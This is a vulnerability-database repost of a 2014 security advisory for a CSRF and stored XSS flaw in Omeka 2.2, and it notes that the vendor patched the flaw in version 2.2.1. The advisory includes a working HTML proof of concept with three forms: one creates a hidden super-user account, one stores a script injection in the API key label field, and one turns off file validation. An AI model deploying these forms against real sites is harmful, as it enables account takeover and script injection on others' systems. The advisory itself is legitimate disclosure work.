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Omeka 2.2 CSRF And Stored XSS Vulnerability

🗓️ 17 Jul 2014 00:00:00Reported by Gjoko KrsticType 
zeroscience
 zeroscience
🔗 www.zeroscience.mk👁 134 Views

Omeka 2.2 CSRF And Stored XSS Vulnerability. Cross-Site Scripting risk. Vendor patched version 2.2.1

Related
Code
ReporterTitlePublishedViews
Family
Circl
CVE-2014-5100
17 Jul 201400:00
circl
CVE
CVE-2014-5100
25 Jul 201419:00
cve
Cvelist
CVE-2014-5100
25 Jul 201419:00
cvelist
EUVD
EUVD-2014-4998
7 Oct 202500:30
euvd
NVD
CVE-2014-5100
25 Jul 201419:55
nvd
Prion
Cross site request forgery (csrf)
25 Jul 201419:55
prion
<!--

Omeka 2.2 CSRF And Stored XSS Vulnerability


Vendor: Omeka Team (CHNM GMU)
Product web page: http://www.omeka.org
Affected version: 2.2


Summary: Omeka is a free, flexible, and open source web-publishing
platform for the display of library, museum, archives, and scholarly
collections and exhibitions. Its 'five-minute setup' makes launching
an online exhibition as easy as launching a blog.

Desc: Omeka version 2.2 suffers from a cross-site request forgery and
a stored xss vulnerability. The application allows users to perform
certain actions via HTTP requests without performing any validity
checks to verify the requests. This can be exploited to perform
certain actions with administrative privileges if a logged-in user
visits a malicious web site. Input passed to the 'api_key_label' POST
parameter is not properly sanitised before being returned to the user.
This can be exploited to execute arbitrary HTML and script code in a
user's browser session in context of an affected site.

Tested on: Kali Linux 3.7-trunk-686-pae
           Apache/2.2.22 (Debian)
           PHP 5.4.4-13(apache2handler)
           MySQL 5.5.28


Vulnerabilities discovered by Gjoko 'LiquidWorm' Krstic
                              @zeroscience


Advisory ID: ZSL-2014-5193
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2014-5193.php

Vendor: http://omeka.org/blog/2014/07/16/omeka-2-2-1-security-update-released/


16.07.2014

--><html>
<head><title>Omeka 2.2 CSRF And Stored XSS Vulnerability</title>
</head><body>
<!-- CSRF Add Super User & Activate -->
<!-- Roles: Super, Admin, Researcher, Contributor -->
<form action="http://192.168.0.105/omeka-2.2/admin/users/add" method="POST">
<input name="username" type="hidden" value="Hacker"/>
<input name="name" type="hidden" value="CSRF"/>
<input name="email" type="hidden" value="[email protected]"/>
<input name="role" type="hidden" value="super"/>
<input name="active" type="hidden" value="1"/>
<input name="submit" type="hidden" value="Add+User"/>
<input type="submit" value="Add Super User"/>
</form>
<!-- CSRF Add Persistent XSS -->
<form action="http://192.168.0.105/omeka-2.2/admin/users/api-keys/1" method="POST">
<input name="api_key_label" type="hidden" value='&lt;script&gt;location.href="http://www.zeroscience.mk"&lt;/script&gt;'/>
<input name="update_api_keys" type="hidden" value="Update+API+Keys"/>
<input type="submit" value="Insert Script"/>
</form>
<!-- CSRF Disable File Validation -->
<form action="http://192.168.0.105/omeka-2.2/admin/settings/edit-security" method="POST">
<input name="disable_default_file_validation" type="hidden" value="1"/>
<input name="submit" type="hidden" value="Save+Changes"/>
<input type="submit" value="Disable File Validation"/>
</form>
</body>
</html>

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17 Jul 2014 00:00Current
6Medium risk
Vulners AI Score6
CVSS 26.8
EPSS0.01607
134